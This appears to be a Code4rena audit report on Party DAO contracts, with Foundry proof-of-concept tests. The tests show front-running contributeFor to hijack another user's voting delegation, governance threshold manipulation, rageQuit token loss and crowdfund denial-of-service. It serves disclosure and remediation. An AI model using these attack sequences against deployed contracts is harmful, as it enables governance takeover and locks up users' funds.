Party DAO - TresDelinquentes's results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L194-L198

Vulnerability details

Impact

The natural flow of minting a new Card is through contributing to the Crowdfund. The protocol also allows users to contributeFor in the name of someone else.

Let's follow the flow of the contributeFor:

The function immediately calls _contribute

function _contribute(
        address payable contributor,
        address delegate,
        uint96 amount,
        uint256 tokenId,
        bytes memory gateData
    ) private returns (uint96 votingPower) {
        // Require a non-null delegate.
        if (delegate == address(0)) {
            revert InvalidDelegateError();
        }

        // Must not be blocked by gatekeeper.
        IGateKeeper _gateKeeper = gateKeeper;
        if (_gateKeeper != IGateKeeper(address(0))) {
            if (!_gateKeeper.isAllowed(msg.sender, gateKeeperId, gateData)) {
                revert NotAllowedByGateKeeperError(msg.sender, _gateKeeper, gateKeeperId, gateData);
            }
        }

        votingPower = _processContribution(contributor, delegate, amount);
        ...

Some checks are done, then we call _processContribution.

function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }
     ...

Inside we see this if/else statement. It allows for anyone to set delegate for a user, but only if oldDelegate == address(0), meaning it's never been set before. If msg.sender == contributor he can still set the delegate to whoever he wishes, anyone else calling contributeForafter the original contributor has delegated, can't change the delegate.

The rest of then function finishes and we go back to _contribute after which we call party.mint.

Inside mint we see the following.

        ...
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }
        ...

Here we check if delegationsByVoter[owner] != address(0), meaning this is the first time a deleagte is being set, if a delegate already exists we set the new delegate to the old delegationsByVoter[owner]. This is where the problem lies, note that this function doesn't take into account if msg.sender == contributor, so once delegationsByVoter[owner] is set, there is no changing it through the mint function again.

So let's imagine the following scenario: maxTotalContributions = 20 ether.

1. Users already contributed 5 ether to the crowdfund.
2. Bob decides to contribute another 15 ether to finalize it early, and sets himself as initialDelegate.
3. Alice being malicious, front-runs Bob's contribution with contributeFor{value: 1 }(0, payable(address(bob)), address(alice), ""); setting Bob's delegate to herself. At this point delegationsByVoter[bob] = alice
4. Bob's contribution passes, but inside mint we hit this:

        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

Since Bob already has a delegate, he can't change it here, so Bob's delegate gets overwritten to Alice and he is unable to change the delegate.

5. All of Bob's 15 ether get delegated to Alice inside _adjustVotingPower
6. After this the crowdfund finalizes and the Party starts.
7. At this point Alice can propose/accept with a huge amount of voting power that was never intended for her and she can influence proposals that she shouldn't be able to.
8. Bob can get his delegation back by calling delegateVotingPower, but Alice will have enough time to influence the Party.

Note that this way a 51% attack can easily be executed by a malicious user. A malicious user can steal multiple delegates this way and influence the Party greatly.

Proof of Concept

 function _createCrowdfundWithAuthorities(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        partyOpts.authorities = new address[](1); // Set the authority to address(this) for testing purposes
        partyOpts.authorities[0] = address(this);

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_stealingDelegations() public {
        InitialETHCrowdfund crowdfund = _createCrowdfundWithAuthorities(
            CreateCrowdfundArgs({
                initialContribution: 0, 
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false, 
                minTotalContributions: 5 ether,
                maxTotalContributions: 20 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            }), true
        );
        Party party = crowdfund.party();

        // Charlie contributes to the Crowdfund
        address charlie = _randomAddress();
        vm.deal(charlie, 10 ether);
        vm.prank(charlie);
        crowdfund.contribute{value: 5 ether }(address(charlie), "");

        address bob = _randomAddress();
        // Alice front runs Bob's contribution, setting herself as Bob's delegate
        address alice = _randomAddress();
        vm.deal(alice, 5 ether);
        vm.prank(alice);
        crowdfund.contributeFor{value: 1 }(0, payable(address(bob)), address(alice), "");

        // Bob contributes and finalizes the crowdfund, not knowing
        // that he just contributed all of his voting power to Alice
        vm.deal(bob, 15 ether);
        vm.prank(bob);
        crowdfund.contribute{value: 15 ether }(address(bob), "");

        // Here we can see that Alice has `15e18` voting power, even though she should have only `1 wei`
        assertEq(party.getVotingPowerAt(address(alice), uint40(block.timestamp)), 15 ether);
        // Even though Bob set himself as the delegate, he has 0 voting power, because his
        // delegation got overwritten
        assertEq(party.getVotingPowerAt(address(bob), uint40(block.timestamp)), 0);
    }

Tools Used

Manual review Foundry

Recommended Mitigation Steps

We recommend removing the contributeFor function.

Assessed type

Other

File: contracts\party\PartyGovernance.sol
451:     function delegateVotingPower(address delegate) external {
452:         _adjustVotingPower(msg.sender, 0, delegate);
453:     }

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L595-L658

Vulnerability details

Impact

PartyGovernance uses a variable called passThresholdBps to determine the percentage of votes from the totalVotingPower a proposal needs to receive so it can pass.

The protocol also allows parties to change several governance options through SetGovernanceParameterProposal, including passThresholdBps.

    /// @notice Execute a `SetGovernanceParameterProposal` which sets the given governance parameter.
    function _executeSetGovernanceParameter(
        IProposalExecutionEngine.ExecuteProposalParams memory params
    ) internal returns (bytes memory) {
        SetGovernanceParameterProposalData memory proposalData = abi.decode(
            params.proposalData,
            (SetGovernanceParameterProposalData)
        );
        if (proposalData.voteDuration != 0) {
            if (proposalData.voteDuration < 1 hours) { //@audit can be really fkin big
                revert InvalidGovernanceParameter(proposalData.voteDuration);
            }
            emit VoteDurationSet(
                _getSharedProposalStorage().governanceValues.voteDuration,
                proposalData.voteDuration
            );
            _getSharedProposalStorage().governanceValues.voteDuration = proposalData.voteDuration;
        }
        if (proposalData.executionDelay != 0) {
            if (proposalData.executionDelay > 30 days) {
                revert InvalidGovernanceParameter(proposalData.executionDelay);
            }
            emit ExecutionDelaySet(
                _getSharedProposalStorage().governanceValues.executionDelay,
                proposalData.executionDelay
            );
            _getSharedProposalStorage().governanceValues.executionDelay = proposalData
                .executionDelay;
        }
        if (proposalData.passThresholdBps != 0) { // passThresholdBps can be set as well
            if (proposalData.passThresholdBps > 10000) { 
                revert InvalidGovernanceParameter(proposalData.passThresholdBps);
            }
            emit PassThresholdBpsSet(
                _getSharedProposalStorage().governanceValues.passThresholdBps,
                proposalData.passThresholdBps
            );
            _getSharedProposalStorage().governanceValues.passThresholdBps = proposalData
                .passThresholdBps;
        }

        return "";
    }

This isn't in itself a problem, but the logic for checking if a proposal has passed contains a problem. Inside accept, we have a check called _areVotesPassing, which compares if the votes of the proposal, compared to the cached totalVotingPower of the proposal passes passThresholdBps. The issue is that we are using the global passThresholdBps, not a cached one.

        ...
        // Update the proposal status if it has reached the pass threshold.
        if (
            values.passedTime == 0 &&
            _areVotesPassing(
                values.votes,
                values.totalVotingPower,
                _getSharedProposalStorage().governanceValues.passThresholdBps // This isn't cached
            )
        ) {
            info.values.passedTime = uint40(block.timestamp);
            emit ProposalPassed(proposalId);
            // Notify third-party platforms that the governance NFT metadata has
            // updated for all tokens.
            emit BatchMetadataUpdate(0, type(uint256).max);
        }

This can lead to unwanted behavior during the voting lifecycle of a proposal and can even be exploited by party members to their gain.

Proof of Concept

Let's imagine a couple of scenarios: Scenario A passThresholdBps = 0.5e4 (50%)

1. Alice and Bob are friends and hold about 30% of the voting power of the Party.
2. Alice creates a proposal (proposal A), but Bob doesn't accept it yet. The other users, refuse to accept the proposal.
3. Alice and Bob create a second proposal (proposal B) to set passThresholdBps = 0.3e4(30%).
4. Since the proposal will allow more freedom in the party for all users to pass their proposals, proposal B easily passes.
5. Now the passThresholdBps = 0.3e4 (30%) and Bob calls accept on proposal A, passing it.

Scenario B A reverse of Scenario A passThresholdBps = 0.5e4 (50%)

1. A proposal is created (proposal A) and it accumulates 40% votes. Since it's not a very popular proposal, we'll assume that it won't accumulate more than 60% votes total, which is still enough for it to pass at this time.
2. Another proposal is created (proposal B), which sets passThresholdBps = 0.7e4 (70%).
3. Proposal A will now never pass, even if it accumulates 60% of the votes, since passThresholdBps = 0.7e4 (70%) it will never pass.

The actual creation of the proposals doesn't matter. Proposal B can be proposed before proposal A, as long as it gets executed first, it will have an effect on all previous proposals.

The scenarios here are endless: from just griefing other users, maliciously exploiting the issue to get unpopular, unfavorable proposals to pass or blocking proposals that would have otherwise passed.

This also introduces more attack vectors for a 51% attack, as someone that has let's say 60% of the voting power, can just set passThresholdBps = 0.6e4 (60%) and easily block other users from getting their proposals accepted, while his will always pass.

Keep in mind that even completely non malicious Parties can be affected by this negatively as it introduces uncertainty and confusion during the voting stage.

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend caching passThresholdBps in a similar way as totalVotingPower is cached for proposals.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L426-L432

Vulnerability details

Impact

Calling Party's rageQuit() with a zero-balance ERC20 disregards the minWithdrawAmounts array, resulting in the loss of user tokens without compensation.

Proof of Concept

Consider the following scenario illustrating the issue:

1. A Party holds USDC tokens.
2. The entire USDC balance is transferred to another account, e.g., via a proposal.
3. Alice, unaware of the Party's depleted USDC holdings, attempts to rageQuit().
4. Alice specifies minimum withdrawal amounts using uint256[] minWithdrawAmounts.
5. Despite specifying minWithdrawAmounts, all of Alice's Party tokens are burned, and she receives nothing in return.

In PartyGovernanceNFT#rageQuit() the withdraw amount for each ERC20 is calculated as follows:

withdrawAmounts[i] += (balance * getVotingPowerShareOf(tokenIds[j])) / 1e18;

where

balance = uint256 balance = address(withdrawTokens[i]) == ETH_ADDRESS ? address(this).balance : withdrawTokens[i].balanceOf(address(this));

However, if the token is an ERC20 for which the Party does not have any remaining balance, withdrawAmounts[i] would be equal to 0.

This means the following check would not be executed at all:

if (amount > 0) { //@audit Would be skipped if amount is equal to 0.
    // ...
    // Check amount is at least minimum.
    if (amount < minAmount) { // This is never checked if amount is equal to 0.
        revert BelowMinWithdrawAmountError(amount, minAmount);
    }

    // ...
    payable(receiver).transferEth(amount);
}

Since the check for the minimum withdrawal amount is within the if statement, it is never executed when amount is equal to 0, leading to unintended NFT loss.

uint96 totalVotingPowerBurned = _burnAndUpdateVotingPower(tokenIds, !isAuthority_); 

// Update total voting power of party.
_getSharedProposalStorage().governanceValues.totalVotingPower -= totalVotingPowerBurned;

PoC:

// Add this to PartyGovernanceNFT.t.sol

function testRageQuitDoesNotHonorMinWithdrawAmountIsERC20BalanceIsZero() external {
    // Create party
    (Party party, , ) = partyAdmin.createParty(
        partyImpl,
        PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: address(0),
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
        })
    );

	// Configure rage quit
    vm.prank(address(this));
    party.setRageQuit(uint40(block.timestamp) + 1);

	// Give alice 10 voting tokens out of 100
    address alice = makeAddr("alice");
    vm.prank(address(partyAdmin));
    uint256 tokenId = party.mint(alice, 10, alice);

	// An ERC20 in which the party previously had holdings
	// but now it's balance is == 0.
    IERC20[] memory tokens = new IERC20[](1);
    tokens[0] = IERC20(address(new DummyERC20()));

	// The minimum withdraw alice is willing to accept
    uint256[] memory minWithdrawAmounts = new uint256[](1);
    minWithdrawAmounts[0] = 1; // Notice it's a value >0 to demonstrate the non-working check

    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = tokenId;

    // Make sure the party has 0 balance
    DummyERC20(address(tokens[0])).deal(address(party), 0);

    // Before
    assertEq(party.votingPowerByTokenId(tokenId), 10); // alice has 10 voting tokens
    assertEq(tokens[0].balanceOf(alice), 0); // alice has 0 DummyERC20s

    vm.prank(alice);
    party.rageQuit(tokenIds, tokens, minWithdrawAmounts, alice); // This should revert

    // After
    assertEq(party.votingPowerByTokenId(tokenId), 0); // alice has lost her 10 voting tokens
    assertEq(tokens[0].balanceOf(alice), 0); // alice's dummyERC20 balance is still 0
    assertEq(party.getGovernanceValues().totalVotingPower, 90);
}

Recommended Mitigation Steps

To ensure that the BelowMinWithdrawAmountError check is performed even when amount is equal to 0, amount > 0 must be replaced with amount >= 0 in the rageQuit() function. Here's the modified code snippet:

--- a/contracts/party/PartyGovernanceNFT.sol
+++ b/contracts/party/PartyGovernanceNFT.sol
@@ -418,17 +418,17 @@ contract PartyGovernanceNFT is PartyGovernance, ERC721, IERC2981 {
                     // Transfer fee to fee recipient.
                     if (address(token) == ETH_ADDRESS) {
                         payable(feeRecipient).transferEth(fee);
                     } else {
                         token.compatTransfer(feeRecipient, fee);
                     }
                 }

-                if (amount > 0) {
+                if (amount >= 0) {
                     uint256 minAmount = minWithdrawAmounts[i];

                     // Check amount is at least minimum.
                     if (amount < minAmount) {
                         revert BelowMinWithdrawAmountError(amount, minAmount);
                     }

                     // Transfer token from party to recipient.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L256-L258

Vulnerability details

Impact

The contract implements a state variable minContribution, which enforces a minimum contribution to the crowdfund.

An issue occurs when minContribution > maxTotalContribution - minTotalContribution. The protocol team even accounted for such a case, but they assumed that minTotalContribution can always be reached, so a host can then call finalize and finalize the crowdfund early, but that isn't the case.

        // Check that the contribution amount is at or above the minimum. This
        // is done after `amount` is potentially reduced if refunding excess
        // contribution. There is a case where this prevents a crowdfunds from
        // reaching `maxTotalContributions` if the `minContribution` is greater
        // than the difference between `maxTotalContributions` and the current
        // `totalContributions`. In this scenario users will have to wait until
        // the crowdfund expires or a host finalizes after
        // `minTotalContribution` has been reached by calling `finalize()`.
        uint96 minContribution_ = minContribution;
        if (amount < minContribution_) {
            revert BelowMinimumContributionsError(amount, minContribution_);
        }

Let's look at an example: (Keep in mind that the values can very, this is just an example) minContribution = 2e18 minTotalContribution = 9e18 maxTotalContribution = 10e18

• There is already 8.5e18 ETH contributed to the crowdfund.
• We need 0.5e18 ETH to reach minTotalContribution and 1.5e18 ETH to reach maxTotalContribution, but both of these cases are impossible since minContribution = 2e18.
• Alice contributes 2e18 ETH and totalContributions = 10.5e18, so we refund Alice 0.5e18 ETH and amount is now 1.5e18.

Then we apply this check, which will always revert. We can't send less than minContribution and even if we send more, after we apply the refund amount will always be smaller than minContribution.

    if (amount < minContribution_) {
            revert BelowMinimumContributionsError(amount, minContribution_);
    }

At this point the crowdfund is stuck in limbo, minTotalContribution and maxTotalContribution can never be reached. Because minTotalContribution isn't reached, the host can't finalize the crowdfund early. Thus the crowdfund will eventually expire and be lost.

Users will be able to call refund only after the crowdfund is Lost.

The DoS will last as long as the duration of the crowdfund. If duration = 14 days, then the users will recover their funds after 14 days.

Note that if emergencyDisabled = true, the DAO won't be able to retrieve their funds through emergencyExecute and the users will have to wait until the crowdfund is lost.

This issue can occur without anyone being malicious, although a malicious user can set up the correct state more effectively.

Proof of Concept

Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest and run forge test --mt test_MinTotalContributionsProblem -vvvv

function _createCrowdfund(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_MinTotalContributionsProblem() public {
         InitialETHCrowdfund crowdfund = _createCrowdfund(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                // notice the value, it's > maxTotalContributions - minTotalContributions,
                minContributions: 2 ether,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 9 ether,
                maxTotalContributions: 10 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            })
        );
        Party party = crowdfund.party();

        // Simulating users contributing to reach 8.5e18 ETH contributed
        address alice = _randomAddress();
        vm.deal(alice, 10_000 ether);
        vm.prank(alice);
        crowdfund.contribute{value: 8.5 ether }(address(alice), "");

        // Can't contribute anything < 2 ether
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 1 ether }(address(alice), "");

        
        // Can't contribute 2 ether, because 0.5 ether will be refuned which is < minContribution
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 2 ether}(address(alice), "");

        // At this point the crowdfund is in limbo, it can't be finalized, 
        // Host, can't finalize the crowdfund
        vm.prank(address(this));
        vm.expectRevert();
        crowdfund.finalize();
    }

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Possible solution is not to allow minContributions > maxTotalContributions - minTotalContributions. This mitigation may not be the best long-term solution, so we suggest exploring different mitigation.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L196-L273

Vulnerability details

Impact

There is a check inside _processContribution, which checks if (votingPower == 0) and reverts if true.

Now let's see how we can force it to revert.

If maxTotalContributions == minTotalContributions and exchangeRateBps < 1e4, we can force a rounding down to 0, when totalContributions = maxTotalContribtuions - 1.

Let's take a look at an example: Note that this is allowed:

        ETHCrowdfundBase.sol#_initialize
        ...
        // Set the min total contributions.
        if (opts.minTotalContributions > opts.maxTotalContributions) { // The check isn't strict enough
            revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
        }

minTotalContributions = 10e18 maxTotalContributions = 10e18 exchangeRateBps = 0.5e4

1. Alice contributes 5e18 to the crowdfund.
2. Bob contributes 3e18 to the crowdfund.
3. At this point 2e18 is needed to finalize the crowdfund.
4. Alice attempts to contribute 2e18, so the crowdfund can be finalized, but is front ran by Charlie (malicious).
5. Charlie calls contribute with 2e18 - 1. totalContributions becomes 10e18 - 1, so 1 wei is needed to finalize the crowdfund.
6. Alice's contribute gets executed. She gets refunded 2e18 - 1 (since only 1 wei is needed for finalization) .

       if (newTotalContributions >= maxTotalContributions_) {
            totalContributions = maxTotalContributions_;

            // Finalize the crowdfund.
            // This occurs before refunding excess contribution to act as a
            // reentrancy guard.
            _finalize(maxTotalContributions_);

            // Refund excess contribution.
            //       2e18 - 1             12e18 - 1            10e18
            uint96 refundAmount = newTotalContributions - maxTotalContributions;
            if (refundAmount > 0) {
            //    1      2e18 - (2e18 - 1)
                amount -= refundAmount;
                emit TestRefund(newTotalContributions, maxTotalContributions, refundAmount);
                payable(msg.sender).transferEth(refundAmount);
            }
        }

So amount = 1 8. This line is hit:

           votingPower = (amount * exchangeRateBps) / 1e4;

Calculating this we get: (1 * 0.5e4) / 1e4 = 0.5 which rounds down to 0. 7. Then we hit the next line:

           if (votingPower == 0) revert ZeroVotingPowerError();

We will always force a revert here, no matter what original amount is sent, since we refund the excess. 8. A host attempts to call finalize, but it reverts because of this:

            // Check that the crowdfund has reached its minimum goal.
            uint96 minTotalContributions_ = minTotalContributions;
            //       10e18 - 1              10e18
            if (totalContributions_ < minTotalContributions_) {
                revert NotEnoughContributionsError(totalContributions_, minTotalContributions_);
            }

Keep in mind that minTotalContributions, maxTotalContributions and exchangeRateBps cannot be changed after creation of the crowdfund.

Users will be able to call refund only after the crowdfund is Lost.

The DoS will last as long as the duration of the crowdfund. If duration = 14 days, then the users will recover their funds after 14 days.

Note that if emergencyDisabled = true, the DAO won't be able to retrieve their funds through emergencyExecute and the users will have to wait until the crowdfund is lost.

Proof of Concept

Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest and run forge test --mt test_dosOnFinalizationWhenReachingTheMaxTotalContributions -vvvv

function test_dosOnFinalizationWhenReachingTheMaxTotalContributions() public {
        InitialETHCrowdfund crowdfund = _createCrowdfund(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0, 
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 10e18, // note the two values
                maxTotalContributions: 10e18, 
                duration: 7 days,
                exchangeRateBps: 0.5e4, //note the exchange rate
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            })
        );
        Party party = crowdfund.party();

        // Alice contributes
        address alice = _randomAddress();
        vm.deal(alice, 10_000e18);
        vm.prank(alice);
        crowdfund.contribute{value: 5e18}(address(alice), "");

        // Bob contributes
        address bob = _randomAddress();
        vm.deal(bob, 10_000e18);
        vm.prank(bob);
        crowdfund.contribute{value: 3e18}(address(bob), "");

        // A malicious address front runs Alice's contribution and 
        // contributes so that totalContributions = 10 ether - 1
        address malicious = _randomAddress();
        vm.deal(malicious, 10_000e18);
        vm.prank(malicious);
        crowdfund.contribute{value: 2e18 - 1 }(address(malicious), "");

        // Alice attempts to finalize the crowdfund by sending 2 ether,
        // but the tx reverts
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 2e18 }(address(alice), "");

        // The host can't finalize the crowdfund as well.
        vm.prank(address(this));
        vm.expectRevert();
        crowdfund.finalize();
    }

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Enforce the constraint to be more strict:

        // Enforce >=, instead of >
        if (opts.minTotalContributions >= opts.maxTotalContributions) { 
            revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
        }

Assessed type

DoS

[QA-1] rageQuit() may result in minor loss due to rounding when withdrawing ERC20s with small number of decimals()

Example secnario:

ERC20: Gemini USD (GUSD)(2 decimals) Party balance of Gemini USD = 900.00 GUSD User contribution = 0.9 ETH Exchange rate (bps) = 0.01% (100ETH = 1 voting token)

This results in the following calculation for the withdrawal amount in rageQuit():

withdrawAmount = (900e2 * 0.1e14) / 1e18

which is rounded to zero, i.e. results in 0.9 GUSD loss for the user.

Recommendation:

There are different possible solutions and it's more a product decision for the protocol:

• Round up instead of rounding down
• Throw an error if withdrawAmount ends up being 0

[QA-2] voteDuration validation should be consistent across the application

In some places, validation is performed against the voteDuration parameter (e.g. in SetGovernanceParameterProposal) while in all other parts of the code, no validation is performed against it which leads to inconsistencies.

*Recommendation: Make sure validation rules for any particular parameter is consistent across the whole protocol.

[QA-3] Missing zero-address check for fundingSplitRecipient when fundingSplitBps is non-zero in ETHCrowdfundBase#_initialize()

When fundingSplitBps is non-zero, it implies that the crowdfund intends to have a funding split. But no zero-address check is added for fundingSplitRecipient in that case in ETHCrowdfundBase#_initialize().

This results in the funding split feature being disabled for the crowdfund without any possibility for configuring it later on which may be undesirable.

Recommendation:

In ETHCrowdfundBase#_initialize() add zero-address check for fundingSplitRecipient if fundingSplitBps > 0:

--- a/contracts/crowdfund/ETHCrowdfundBase.sol
+++ b/contracts/crowdfund/ETHCrowdfundBase.sol
@@ -166,6 +166,9 @@ contract ETHCrowdfundBase is Implementation {
         exchangeRateBps = opts.exchangeRateBps;
         // Set the funding split and its recipient.
         fundingSplitBps = opts.fundingSplitBps;
+        if (opts.fundingSplitBps > 0 && opts.fundingSplitRecipient == address(0)) {
+            revert InvalidFundingSplitRecipient();
+        }
         fundingSplitRecipient = opts.fundingSplitRecipient;
         // Set whether to disable contributing for existing card.
         disableContributingForExistingCard = opts.disableContributingForExistingCard;

[QA-4] ETHCrowdfundBase must be an abstract contract

It seems there is no need to instantiate any ETHCrowdfundBase contracts directly thus it's best to mark it as abstract.

Recommendation:

Mark ETHCrowdfundBase as abstract:

--- a/contracts/crowdfund/ETHCrowdfundBase.sol
+++ b/contracts/crowdfund/ETHCrowdfundBase.sol
@@ -6,7 +6,7 @@ import "../utils/LibSafeCast.sol";
 import "../party/Party.sol";
 import "../gatekeepers/IGateKeeper.sol";

-contract ETHCrowdfundBase is Implementation {
+abstract contract ETHCrowdfundBase is Implementation {
     using LibRawResult for bytes;
     using LibSafeCast for uint256;
     using LibAddress for address payable;

[QA-5] Misleading natspec for contribute() in InitialETHCrowdfund

The natspec says:

Contribute ETH to this crowdfund on behalf of a contributor.

The term on behalf of implies that contributes are made as a representative of someone else. Which is not the case here since the contributor here is msg.sender themselves.

Recommendation:

Update the natspec so it reflects what the function actually does.

[QA-6] maxContribution inside ETHCrowdfundBase.sol is not honored

The value does nothing. It does not restrict the maximum number of contributions by an address in any way.

Example: if maxContribution = 10 ether, and someone wants to deposit 20 ether, they will just contribute 2 times instead. Which will only consume more gas but this would not prevent the user from contributing as much as they want.`

Recommendation:

Consider implementing a check similar to the one in Crowdfund which takes into consideration all previous contributions by the user:

uint256 numContributions = contributions.length;
uint96 ethContributed;
for (uint256 i; i < numContributions; ++i) {
    ethContributed += contributions[i].amount;
}
// ...
if (ethContributed + amount > maxContribution) {
    revert AboveMaximumContributionsError(ethContributed + amount, maxContribution);
}

[QA-7] Missing check for array length equality in InitialETHCrowdfund#batchContribute()

There is no check if the passed arrays are of equal length. This may lead to mistakes and incorrect and unintended distribution of funds. These issues may be easily avoided by adding array length equality check.

Recommendation:

Make sure all arrays passed to batchContribute() are of equal length:

--- a/contracts/crowdfund/InitialETHCrowdfund.sol
+++ b/contracts/crowdfund/InitialETHCrowdfund.sol
@@ -205,6 +205,13 @@ contract InitialETHCrowdfund is ETHCrowdfundBase {
         BatchContributeArgs calldata args
     ) external payable onlyDelegateCall returns (uint96[] memory votingPowers) {
         uint256 numContributions = args.tokenIds.length;
+        uint256 numValues = args.values.length;
+        uint256 numGateDatas = args.gateDatas.length;
+
+        if (numContributions != numValues || (numGateDatas > 0 && numContributions != numGateDatas)) {
+            revert InvalidBatchContributeArgs();
+        }
+
         votingPowers = new uint96[](numContributions);

         uint256 ethAvailable = msg.value;

[QA-8] Superfluous check inside PartyGovernanceNFT.sol#abdicateaAuthority()

function abdicateAuthority() external {
        _assertAuthority(); // 👈 @audit Superfluous check
        delete isAuthority[msg.sender];

        emit AuthorityRemoved(msg.sender);
    }

If the caller isn't an authority and calls the function, nothing will change.

Recommendation:

Remove the _assertAuthority() check in PartyGovernanceNFT#abdicateaAuthority()

[QA-9] PartyDelegateUpdated event is erroneously emitted in PartyGovernance#_adjustVotingPower(), even when there is no actual update to the delegate

This unintended event emission could potentially disrupt external systems that depend on the protocol's events as a messaging mechanism.

Recommendation:

Make sure the event is only emitted when the delegate is actually updated.